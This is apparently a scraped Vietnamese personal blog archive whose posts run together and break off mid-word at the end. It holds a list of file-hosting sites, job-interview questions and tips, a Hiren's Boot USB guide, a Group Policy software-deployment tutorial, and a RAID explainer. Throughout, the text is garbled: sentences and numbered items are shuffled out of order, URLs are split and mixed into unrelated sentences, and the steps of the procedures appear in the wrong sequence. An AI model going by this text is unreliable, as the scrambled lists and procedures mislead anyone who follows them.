Ban biết gì về công ty này? 7. http://www. thời hạn: 15 ngày http://www. 1.com/: Webmail miễn phí với dung lượng 2 GB.com/: Kích thước file 500 MB với thời hạn 14 ngày.asp?P_ID=204&PT_ID=108 Được đăng bởi haodalat tại 10:26 CH 0 nhận xét Nhãn: HOSTING 07-04-2008 50 câu hỏi thường gặp trong phỏng vấn xin việc Với các câu hỏi nhà tuyển dụng đặt ra trong quá trình phỏng vấn.megashares. http://www.spread-it.inbox.5 GB và sẽ bị xóa sau 25 ngày nếu không có ai tải về.rapidshare.com/: Kích thước file 1 GB.yousendit.com/: Kích thước file 1. cho phép tải xuống 25 lần trong thời gian 7 ngày. http://www.de/: Kích thước file tối đa 100 MB với thời gian tồn tại 30 ngày.com/: Kích thước file 50 MB với thời hạn 60 ngày. http://mauthietke.rapidsharing. Hãy nói về bạn? 2. Ðồng nghiệp của bạn nhận xét như thế nào về bạn? 6. http://www. Bạn có nghĩ rằng bạn thành công trong cuộc phỏng vấn này không? 5.filefactory. http://www. http://www.xtrafile.com/: Kích thước file 250 MB. Bạn đã làm gì để nâng cao kiến thức của bạn trong năm vừa qua? . không nên đánh giá thấp thành công của mình và ngược lại. không phóng đại công việc bạn đã hoàn thành.com/subject. bạn nên trả lời súc tích và chân thành.com/: Kích thước file 1. Tại sao bạn lại nghỉ việc cho công việc bạn làm gần đây nhất? 3.http://www. giới hạn 25 lượt tải và thời gian tồn tại 7 ngày.5 GB. Bạn có kinh nghiệm gì trong lĩnh vực này? 4.

Mối "quan hệ" của bạn với đồng nghiệp như thế nào? 21. Ðiểm mạnh (ưu điểm) của bạn là gì? 22. Hãy nói về nghề nghiệp mơ ước của bạn? 23. Bạn có phạt ai bao giờ chưa? Bạn có cảm nhận như thế nào về vấn đề đó? 15. Khi tìm việc thì những điều gì bạn sẽ quan tâm? 25. Ngoài công việc này bạn có xin việc ở một nơi nào khác không? 9.8. Triết lý làm việc của bạn là gì? 16. nếu bạn được chấp nhận? 14. Có bao giờ bạn bị cho thôi việc chưa? 17. Những loại người nào mà bạn sẽ từ chối làm việc chung? 26. Bạn có thể là người làm việc đồng đội không? 13. Tại sao chúng tôi phải nhận bạn vào làm việc? 19. Bạn muốn mức lương như thế nào? 12. Ðiều gì quan trọng nhất đối với bạn? . Bạn nghĩ bạn sẽ làm việc bao lâu với chúng tôi. Bạn nhận xét và đánh giá công ty này như thế nào? 18. Tại sao bạn nghĩ bạn sẽ làm tốt công việc này? 24. Bạn có biết ai đang làm việc cho công ty này không? 11. Tại sao bạn muốn làm việc cho công ty này? 10. Hãy nói về một đề nghị mà bạn đã có? 20.

Hãy nói về trường hợp khi bạn giúp đỡ giải quyết một mối bất hòa giữa 2 . Những điểm mạnh mà sếp của bạn nói về bạn là gì? 28. Hãy cho biết khả năng của bạn khi làm việc dưới môi trường áp lực? 31. Nhứng điều gì làm bạn lo lắng khi làm một công việc? 30.27. Bạn đã làm gì và học gì cho một lần thất bại trong công việc? 39. Bạn có nghĩ rằng bạn quá giỏi. Bạn có những kế hoạch gì để bù đắp sự thiếu kinh nghiệm của bạn? 43. Những phẩm chất nào ở người sếp mà bạn mong muốn có? 44. Bạn có sẵn sàng đặt quyền lợi của công ty trên quyền lợi cá nhân hay không? 37. Kỹ năng của bạn phù hợp với công việc này hay tương tự công việc này? 32. khả năng cao cho công việc này hay không? 42. Bạn có sẵn sàng làm việc ngoài giờ? Ban đêm? Ngày nghỉ cuối tuần? 34. Những môn học nào bạn học kém nhất? 40. Hãy cho biết những vấn đề khó khăn mà bạn đã gặp phải khi làm việc với sếp của bạn? 29. Ðiều gì làm cho bạn biết bạn thành công trong công việc? 35. Hãy mô tả phong cách quản lý của bạn? 38. bạn sẽ bắt đầu ra sao? 41. Nếu như công ty nhận bạn vào công việc này. Những yếu tố động viên nào giúp bạn làm việc tốt nhất? 33. Bạn có sẵn sàng đi làm việc ở nơi khác theo yêu cầu của công ty hay không? 36.

Xin hãy cho biết một số việc thường làm trong năm đầu tiên? 4. Bạn có những câu hỏi nào cho tôi không? 50. Ðiều gì làm cho một người thành công ở công ty này? 2. . Hãy tập trung chú ý trong quá trình phỏng vấn và bất kỳ lĩnh vực nào mà bạn muốn tìm hiểu. khi đội làm việc cho một công trình? 46. Các câu hỏi thích hợp bao gồm: 1. và có ai đó khuyên bạn nên nghỉ hưu đi. Có những kênh giao tiếp nào giữa những người tập sự và những người giám sát họ? 3. Hãy nói về một trường hợp mà bạn cảm thấy vui vẻ nhất trong công việc? 49. Công ty có những kế hoạch gì cho phát triển trong tương lai? 6. tại sao? Một ý tưởng hay là bạn cũng nên chuẩn bị sẵn một số câu hỏi cho người phỏng vấn. Nếu như bạn có đầy đủ tiền bạc.người? 45. Vị trí nào bạn mong muốn làm việc trong một đội. Xin hãy cho biết văn hóa tổ chức và phong cách quản lý của cổng ty 5. Các hoạt động của công ty tại Việt Nam phù hợp như thế nào với các chương trình và phát triển trong khu vực và trên thế giới? Hãy mang danh sách câu hỏi đến cuộc phỏng vấn. bạn có đồng ý không. Trong công việc. điều thật vọng lớn nhất mà vạn gặp phải là gì? 48. Hãy mô tả nguyên tắc làm việc của bạn? 47.

Phần 3: Tổng kết Sau khi đã thỏa mãn mọi điều muốn biết. Phần 1: Màn chào hỏi Có thể coi như đây là phần khởi động.… Một số người luôn vào đề bằng câu hỏi: "Có thể nói cho tôi biết thêm về bản thân bạn không?". bạn đi bằng phương tiện gì. Nếu bạn im lặng. bạn cần hết sức bản lĩnh. về thời tiết ngày hôm đó thế nào. cách ăn mặc. cứng rắn. chỉ gói gọn trong khoảng thời gian từ 30-60 phút và được chia làm 3 phần. Họ sẽ lật bạn qua lại như đang lật một chú cá trên chảo lửa. nhà tuyển dụng có vẻ như không có "ý đồ" gì. nhà tuyển dụng sẽ hỏi bạn: "Bạn có câu hỏi nào không?".. 15:40:37 80% cơ hội thành công cho bạn nếu. sẽ tạo ra ấn tượng ban đầu. sẵn sàng với mọi thử thách. Trong những phút đầu tiên. . Thường thì các câu hỏi đều quen thuộc. Nhà tuyển dụng sẽ bắt đầu bằng những câu hỏi liên quan đến sở thích của bạn. bạn có thể học trong các cuốn sách hướng dẫn xin việc làm. cái bắt tay chuyên nghiệp. Đây cũng là lúc bạn thể hiện khả năng. Nếu bạn có thể gây ấn tượng tốt với nhà tuyển dụng ngay trong phần đầu. bạn cần có sự chuẩn bị kỹ lưỡng. thậm chí cả hương thơm của bạn. khả năng phân tích câu hỏi của bạn đấy. July 2007. coi như bạn đã nắm trong tay 80% cơ hội thành công. nhưng thực ra họ đang ngầm quan sát bạn đấy. những cử chỉ.Phỏng Vấn xin việc Tuesday. Vì vậy. rụt rè lắc đầu hoặc e lệ: "Dạ không ạ".. Phần 2: Trao đổi thông tin Đây mới là lúc "vào trận" thật sự.. tài giao tiếp. hành vi không lời của bạn thực chất lại rất có ý nghĩa đối với sự thành bại của buổi nói chuyện. Những câu hỏi tưởng như vô thưởng vô phạt đấy. Đây là lúc để bạn thể hiện trí thông minh. Nhà tuyển dụng sẽ tận dụng triệt để thời gian để khai thác bạn. chuyên môn. Đừng bỏ lỡ cơ hội "khoe" tài năng trước nhà tuyển dụng nhé. 24. Cách chào hỏi. Để vượt qua được phần 2 này. càng liên quan đến chuyên môn và công ty càng tốt. năng lực của mình. bạn nghĩ gì về quang cảnh của buổi phỏng vấn hôm nay. Nhớ là hãy chủ động đặt câu hỏi. nhà tuyển dụng sẽ cho rằng bạn thiếu tự tin và không chủ động trong công việc.! Một cuộc phỏng vấn thông thường không kéo dài lâu. điều đó chứng tỏ bạn quan tâm thật sự tới công việc này.

com/trantuanpc/blog/?startidx=10 Được đăng bởi haodalat tại 12:12 SA 0 nhận xét Nhãn: viec lam 06-04-2008 Tạo USB khởi động với Hiren's Boot Nếu chúng ta có sẵn 1 USB 2GB mang theo mình cùng với những bộ cài đặt cần thiết thì tốt biết bao. lịch sự. 1. Giải nén và chạy file USB Disk Storage Format.opera. Lưu ý là bạn sẽ phải dùng USB với dung lượng tối thiểu là 128MB để chứa Hiren's Boot image và các file khởi động (~80MB) Sau đây là vài bước đơn giản mà bạn có thể tự tạo USB khởi động với những công cụ của Hiren's Boot cho riêng mình. đừng tỏ ra là người quá đam mê tiền bạc. Nếu bạn muốn là người chủ động thì cũng nên học cách nói thật tế nhị. . Tốt hơn hết là đợi nhà tuyển dụng tự mở lời. Bạn cũng nên lợi dụng thời gian ở phần ba này để nói lời cảm ơn với người phỏng vấn bạn. 3.iso ( bản mới nhất là 9.cmd từ trong thư mục BootUSB để chương trình copy các file cần thiết vào thư mục C:\USB. Download tiện ích tạo file boot cho USB tại đây: extract-boot-files. có thể là ổ khác trên hệ thống của bạn.zip Giải nén tập tin sẽ tạo ra thư mục BootUSB và copy file Hiren's BootCD. tên cho ổ USB (Volume label) thì tùy bạn. tiếp đó gõ "C:\USB" (không có dấu nháy kép) vào ô trống bên dưới hoặc nhấn nút Browse để duyệt đến thư mục lưu các tệp tin khởi động đã tạo ra ở trên. mục Using DOS system locate at mặc nhiên được chọn.Đây cũng có thể là cơ hội bàn về chuyện lương bổng. chọn hệ thống file (File system) là FAT. Đừng để đến lúc ra đến cửa rồi mới vội vàng quay lại: "À quên. ở đây ổ USB của tôi là ổ H:\. Tiếp theo bạn chạy file Get_Boot_Files. 5. tôi rất muốn nói lời cảm ơn…" .2) vào thư mục BootUSB 2. và chúc bạn thành công! http://my.thật bất lịch sự! Giờ thì bạn đã hình dung ra một cuộc phỏng vấn xin việc chưa? Hãy chuẩn bị thật kỹ nhé. Hãy chắc chắn là đã sao lưu hết dữ liệu trên USB của bạn trước khi nhấn nút Start để bắt đầu định dạng ổ USB. Bây giờ lại download tiện ích USB Disk Storage Format 4. đánh dấu chọn vào mục Creat a DOS Bootable Disk.

Copy toàn bộ thư mục BootCD từ Hiren's BootCD image lên USB Và bây giờ bạn có thể cảm thấy thoải mái khi mang bootable USB gọn nhẹ hơn là CD to đùng và chậm chạp.sys (chứ không phải IO.php?t=22040 Được đăng bởi haodalat tại 11:54 CH 0 nhận xét Nhãn: USB BOOT Hướng dẫn Cài đặt phần mềm từ xa hàng loạt ! Có một câu đặt ra là làm thế nào để cài đặt các phần mềm trong LAN có Domain mà ko cần đi cài từng máy mà chỉ cần ngồi trên server cài đặt.6. Việc tưởng chừng đơn giản nhưng để cài hết 70 cái máy tính đó bạn phải mất vài ngày. Yêu cầu: . Sau khi kết thúc quá trình định dạng USB. Trong chúng ta ai cũng phải cài đặt phần mềm đến hàng x lần. Với môi trường domain của 2k3 thì việc triển khai công việc này dễ hơn vì nó sinh ra là để quản trị và hỗ trợ tối đã các ứng dụng. bạn chỉ việc copy lại thư mục BootCD trong Hiren's Boot ISO mà thôi. Câu hỏi tưởng chừng hóc búa và khó thực hiện nhưng với Win2k3 hộ trợ thì chúng ta có thể làm mọi việc. Bây giờ có một câu hỏi đặt ra là: Một công ty có khoảng 50-70 máy tính (ví dụ thôi. Thật tiện lợi phải không? http://hocit. có thể ít hơn hoặc nhiều hơn tùy vào quy mô công ty). đỡ phải vứt đi 1 cái CD như "ngày xưa". và có thể sếp cho bạn nghỉ việc ngay. trong khi đó nhân viên vẫn phải làm việc ko thể ngồi chờ bạn cài từng máy được. Xóa file JO. nếu ko có cách giải quyết thì vài bữa nữa cong ty có soft nào cần cài nữa thi riêng việc cài đặt của bạn cũng đã ko còn thời gian hoàn thành. Việc cài phần mềm lớn sẽ tốn rất nhiều thời gian và nhất là với số lượng máy tính lớn. Vậy bạn sẽ làm thế nào với trường hợp này. hy vọng giúp được cái bạn trong trường hợp nào đó khi mình rơi vào yêu cầu này. Cuối cùng là sau này muốn nâng cấp phiên bản của Hiren's Boot. 8.sys) trên USB 7. Cty đang dùng Office 2003 nhưng giám đốc mới kí hợp đông mua Office2007 của MS và bảo ban là admin của công ty cài hết vào tất cả các máy. Hôm nay tôi xin làm một bài hướng dẫn về cách làm này. Note: Không ghi đè file IO.com/forum/showthread.sys khi được hỏi có ghi đè hay không. bạn hãy copy toàn bộ nội dung thư mục C:\USB đã tạo ra ở trên ra ổ đĩa USB của bạn.

Mình ở đây sẽ dùng GPO của 2k3 để thực hiện yêu cầu.zap.-Có ít nhất 1 máy là DC (Domain Controller-Máy chủ miền) -Các máy con phải join vào miền của máy chủ. Phương pháp chuyển file *. Trước tiên chúng ta cần hiểu chúng ta sẽ làm gì. Mục đích: Software Installation Service sử dụng Group Policy (chính sách nhóm) để triển khai gói phần mềm tự động từ xa theo yêu cầu trong mạng LAN để giảm tải cho Server. -Có soft cần cài (ở đây tôi cài Ev-Tran 4. Người dùng không thể remove chương trình phần mềm. Ở đây dịch vụ có tên là Software Installation Servies – Dịch vụ triển khai phần mềm. và bằng công cụ nào. Assign: Phần mềm sẽ xuất hiện trong danh mục Program trên thanh Start. . Người dùng trên máy client muốn cài đặt phải ấn vào nút Add program thì chương trình thực sự mới được cài đặt.msi. Khi triển khai gói phần mềm thì chúng ta cần share thư mục chứa file đó và cho nhóm Everyone được quyền read.exe sang dạng file *. Không giống như cài phần mềm trực tiếp trên máy trạm.0)copy trên HDD của server. sử dụng software installation servies có hai chế độ.msi thì quá trình triển khai đơn giản vì nó được hỗ trợ. Software installation servies chỉ triển khai được các gói phần mềm dạng file *.msi và *.exe thì chúng ta phải chuyển file sang dạng *. ở công ty các bạn có thể triển khai toàn công ty hoặc chỉ một phòng ban nào đó. Khi đó chương trình sẽ thực hiện việc cài đặt phầm mềm tự động cho đến khi hoàn thành.exe Sau đó save lại với tên file là . khi người dùng chạy short thì phần mềm mới được cài đặt.zap: Mở notepad và viết vào đoạn mã chuyển như sau: Code: [Application] Friendlyname = “Tên gói phần mềm” Setup command = \\\\file . Public: Phần mềm sẽ được hiển thị trong danh mục Add New Programs của thành phần Add or Remove Programs.exe và *.zap Phương pháp triển khai trên server Software Installation Services có thể được áp dụng triển khai cho toàn domain hoặc một số OU hoặc Computer nào đó trong mạng Ví dụ ở đây mình tạo OU ItLab và tạo triển khai cho OU này. Người dùng có thể không cài gói phần mềm này và remove short đi. Phương pháp triển khai Đa số các phần mềm của Microsoft hoặc các hãng khác đều được cung cấp dưới dạng file *. Và chúng ta phải hiểu lý thuyết về công dụng cũng như mục đích của nó là gì. -Mọi thứ trong LAN hoạt động tốt.msi mà ở dạng *. Đối với các phần mềm có dạng *. Chúng ta băt đầu vào việc. Nếu phần mềm không có dạng *. dạng file mà chương trình triển khai phần mềm cho phép.zap.

click vào Edit. chọn Properties.vn/forum/showthread. Mở cửa sổ Active Directory User and Computer.com. Bài viết này giới thiệu thông tin cơ bản về RAID cũng như một vài kinh nghiệm sử dụng để tăng sức mạnh cho PC. Nếu phần mềm ở dạng *.itlab. Ban đầu. RAID đã được đưa vào các máy tính để bàn dưới dạng tích hợp đơn giản. ko thể cài được. Tại cửa sổ Group Policy Object Editor tìm đến đường dẫn User Configuration\SoftwareSetting\Software Installation chuột phải chọ New package. do yêu cầu chúng ta chọn Public để mọi người trong OU đều có thể cài phần mềm trong Add New Program.zap rồi chọn đường dẫn tới file *. . Sau khi click Ok phần mềm sẽ được hiển thị trong cửa sổ bên phải của mục Software Installation Như vậy chúng ta đã triển khai xong gói phần mềm Ev-Tran 4. chọn tab Group Policy. chia sẻ thư mục đó cho Everyone có quyền read hoặc Full. máy chủ. Trên client người dùng muốn cài đặt phần mềm thì đăng nhập với User của domain và vào Control Panel\Add or Remove Program\Add New Program. chuột phải OU phòng ItLab.0 trên Server. p theo một cửa sổ Deploy software mở ra cho phép chúng ta chọn chế độ hiển thị của phần mềm trên máy client. NETWORK Tìm hiểu về RAID Trong vài năm trở lại đây. Tiếp theo một cửa sổ mở ra cho chúng ta chọn đến thư mục chứa phần mềm cần triển khai.zap tại đây. từ chỗ là một thành phần “xa xỉ” chỉ có trên các hệ thống máy tính lớn. Lưu ý phải chọn phần mềm theo đường dẫn card mạng như trên. Nếu không phải *. RAID LÀ GÌ? RAID là chữ viết tắt của Redundant Array of Independent Disks. hoặc nó tìm vào đuờng đãn ko được share quyền.msi thì chúng ta chuyển sang dạng *. MCSA. ko thì khi cài đặt nó sẽ ko tìm được đường dẫn của phần mềm. Ở đây có 3 dạng hiển thị là Public. máy trạm. click vào nút Add để cài đặt phần mềm ! http://forum. Assign và Advanced.php?t=1845 Được đăng bởi haodalat tại 9:07 CH 0 nhận xét Nhãn: CÓ THỂ BẠN CHƯA BIẾT. có thể người mua biết bo mạch chủ (BMC) của mình có công nghệ RAID nhưng không phải ai cũng biết cách sử dụng hiệu quả. Tuy nhiên.msi thì chúng ta chỉ cần chọn đến thư mục và chọn file setup trong đó.Trên server copy đĩa Office vào HDD của máy chủ.

2. RAID 0+1 Có bao giờ bạn ao ước một hệ thống lưu trữ nhanh nhẹn như RAID 0.4. Nguyên nhân chính lại nằm ở cách ghi thông tin xé lẻ vì như vậy dữ liệu không nằm hoàn toàn ở một đĩa cứng nào và mỗi khi cần truy xuất thông tin (ví dụ một file nào đó). Ví dụ bạn có 8 đoạn dữ liệu được đánh số từ 1 đến 8. RAID 1 đòi hỏi ít nhất hai đĩa cứng để làm việc. RAID 0 cho phép máy tính ghi dữ liệu lên chúng theo một phương thức đặc biệt được gọi là Striping. máy tính sẽ phải tổng hợp từ các đĩa cứng. an toàn . RAID 0 vẫn ẩn chứa nguy cơ mất dữ liệu. ổ còn lại sẽ tiếp tục hoạt động bình thường. RAID đã có nhiều biến thể cho phép không chỉ đảm bảo an toàn dữ liệu mà còn giúp gia tăng đáng kể tốc độ truy xuất dữ liệu từ đĩa cứng. RAID 0 Đây là dạng RAID đang được người dùng ưa thích do khả năng nâng cao hiệu suất trao đổi dữ liệu của đĩa cứng.3. bạn có thể hình dung mình có 100MB dữ liệu và thay vì dồn 100MB vào một đĩa cứng duy nhất. Để đơn giản hơn.5. Đòi hỏi tối thiểu hai đĩa cứng. Trong trường hợp một ổ bị trục trặc. Thật may mắn là với công nghệ hiện đại.7) sẽ được ghi lên đĩa cứng đầu tiên và các đoạn đánh số chẵn (2. Về sau. Bạn có thể thay thế ổ đĩa bị hỏng mà không phải lo lắng đến vấn đề thông tin thất lạc. RAID 1 Đây là dạng RAID cơ bản nhất có khả năng đảm bảo an toàn dữ liệu.RAID được sử dụng như một giải pháp phòng hộ vì nó cho phép ghi dữ liệu lên nhiều đĩa cứng cùng lúc. Từ đó bạn có thể dễ dàng suy ra nếu có 4. video số. hiệu năng không phải là yếu tố hàng đầu nên chẳng có gì ngạc nhiên nếu nó không phải là lựa chọn số một cho những người say mê tốc độ. Dung lượng cuối cùng của hệ thống RAID 1 bằng dung lượng của ổ đơn (hai ổ 80GB chạy RAID 1 sẽ cho hệ thống nhìn thấy duy nhất một ổ RAID 80GB). Đối với RAID 1. Cũng giống như RAID 0. ví dụ các game thủ hoặc những người chuyên làm đồ hoạ. Dưới đây là năm loại RAID được dùng phổ biến: 1. 8 hay nhiều đĩa cứng hơn nữa thì tốc độ sẽ càng cao hơn. Tuy nghe có vẻ hấp dẫn nhưng trên thực tế. RAID 0 sẽ giúp dồn 50MB vào mỗi đĩa cứng riêng giúp giảm một nửa thời gian làm việc theo lý thuyết. các đoạn đánh số lẻ (1. 3. Tuy nhiên đối với những nhà quản trị mạng hoặc những ai phải quản lý nhiều thông tin quan trọng thì hệ thống RAID 1 là thứ không thể thiếu. sản phẩm phần cứng khá bền nên những trường hợp mất dữ liệu như vậy xảy ra không nhiều.6.8) sẽ được ghi lên đĩa thứ hai. Nếu một đĩa cứng gặp trục trặc thì thông tin (file) đó coi như không thể đọc được và mất luôn. Dữ liệu được ghi vào 2 ổ giống hệt nhau (Mirroring). Có thể thấy RAID 0 thực sự thích hợp cho những người dùng cần truy cập nhanh khối lượng dữ liệu lớn.

20GB. 30GB thì thông qua bộ điều khiển RAID có hỗ trợ JBOD. Chúng ta quay trở lại ví dụ về 8 đoạn dữ liệu (1-8) và giờ đây là 3 ổ đĩa cứng. đoạn sao lưu của chúng được ghi vào ổ cứng 3. 6 ghi vào ổ đĩa 2 và 3. vừa giữ được tính an toàn cao. lưu ý là JBOD không hề đem lại bất cứ một giá trị phụ trội nào khác: không cải thiện về hiệu năng. 6. Một số loại RAID khác Ngoài các loại được đề cập ở trên. Tuy nhiên. Tuy nhiên chi phí cho một hệ thống kiểu này khá đắt. Đoạn số 5.8 được ghi vào ổ 1. Dữ liệu sẽ được ghi đồng thời lên 4 đĩa cứng với 2 ổ dạng Striping tăng tốc và 2 ổ dạng Mirroring sao lưu. Ví dụ bạn cắm vào đó các ổ 10GB. đoạn số 7. 4. dung lượng cuối cùng sẽ bằng ½ tổng dung lượng 4 ổ. Level 3 (Bit-Interleaved Parity). cho phép thêm bộ đệm cho RAID 3 và 4). Dung lượng đĩa cứng cuối cùng bằng tổng dung lượng đĩa sử dụng trừ đi một ổ. chỉ là kết nối và tổng hợp dung lượng mà thôi. Level 6 (Independent Data Disks with Double Parity). không mang lại giải pháp an toàn dữ liệu. RAID S (phát . bạn sẽ cần tối thiểu 4 đĩa cứng để chạy RAID 0+1. ví dụ bạn chạy 4 ổ 80GB thì lượng dữ liệu “thấy được” là (4*80)/2 = 160GB. bạn còn có thể bắt gặp nhiều loại RAID khác nhưng chúng không được sử dụng rộng rãi mà chỉ giới hạn trong các hệ thống máy tính phục vụ mục đích riêng. nhưng lại có một số đặc điểm liên quan tới RAID và được đa số các thiết bị điều khiển RAID hỗ trợ. JBOD JBOD (Just a Bunch Of Disks) thực tế không phải là một dạng RAID chính thống. Đoạn dữ liệu số 1 và số 2 sẽ được ghi vào ổ đĩa 1 và 2 riêng rẽ. Chính vì thế mà hệ thống RAID kết hợp 0+1 đã ra đời. Nguyên tắc này khá rối rắm. 5. có thể kể như: Level 2 (ErrorCorrecting Coding). ngược lại với RAID 0+1). Level 10 (Stripe of Mirrors. Dữ liệu và bản sao lưu được chia lên tất cả các ổ cứng. 4 ổ đĩa này phải giống hệt nhau và khi đưa vào hệ thống RAID 0+1. còn đoạn sao lưu được ghi vào ổ đĩa 1 và sau đó trình tự này lặp lại. Level 7 (thương hiệu của tập đoàn Storage Computer. Như vậy RAID 5 vừa đảm bảo tốc độ có cải thiện. JBOD cho phép bạn gắn bao nhiêu ổ đĩa tùy thích vào bộ điều khiển RAID của mình (dĩ nhiên là trong giới hạn cổng cho phép). 2 và đoạn sao lưu ghi vào ổ 3 như ban đầu. tổng hợp ưu điểm của cả hai “đàn anh”. máy tính sẽ nhận ra một ổ đĩa 60GB. Đoạn số 3 và 4 được ghi vào ổ 1 và 3 với đoạn sao lưu tương ứng ghi vào ổ đĩa 2. Level 4 (Dedicated Parity Drive). Tức là nếu bạn dùng 3 ổ 80GB thì dung lượng cuối cùng sẽ là 160GB. Sau đó chúng sẽ được “tổng hợp” lại thành một đĩa cứng lớn hơn cho hệ thống sử dụng. RAID 5 Đây có lẽ là dạng RAID mạnh mẽ nhất cho người dùng văn phòng và gia đình với 3 hoặc 5 đĩa cứng riêng biệt.như RAID 1 hay chưa? Chắc chắn là có và hiển nhiên ước muốn đó không chỉ của riêng bạn.

Trong trường hợp BMC không có RAID. Chúng tuy có nhiều điểm khác biệt nhưng đa phần đều là bản cải tiến của các phương thức RAID truyền thống. bạn cần tối thiểu một card điều khiển và hai ổ đĩa cứng giống nhau. rút ổ ra và cắm ổ mới vào). BẠN CẦN GÌ ĐỂ CHẠY RAID? Để chạy được RAID. Nó cho phép bạn thay các đĩa cứng gặp trục trặc trong khi hệ thống đang hoạt động mà không phải tắt máy (chỉ đơn giản là mở khóa. Đĩa cứng có thể ở bất cứ chuẩn nào. tốt nhất chúng nên hoàn toàn giống nhau vì một nguyên tắc đơn giản là khi hoạt động ở chế độ đồng bộ như RAID. Một thành phần khác của hệ thống RAID không bắt buộc phải có nhưng đôi khi là hữu dụng.minh của tập đoàn EMC và được sử dụng trong các hệ thống lưu trữ Symmetrix của họ). bạn vẫn có thể mua được card điều khiển PCI trên thị trường với giá không cao lắm. Chuẩn giao tiếp không quan trọng lắm. Về phần mềm thì khá đơn giản vì hầu hết các hệ điều hành hiện đại đều hỗ trợ RAID rất tốt. Thiết bị này thường sử dụng với ổ cứng SCSI và khá quan trọng đối với các hệ thống máy chủ vốn yêu cầu hoạt động liên tục. chưa tính tới giá trị an toàn dữ liệu của chúng. đặc biệt là giữa SATA và ATA. hiệu năng chung của cả hệ thống sẽ bị kéo xuống theo ổ thấp nhất nếu có.5 của DFI trên các hệ BMC 865. Một số BMC đời mới cho phép chạy RAID theo kiểu trộn lẫn cả hai giao tiếp này với nhau. từ c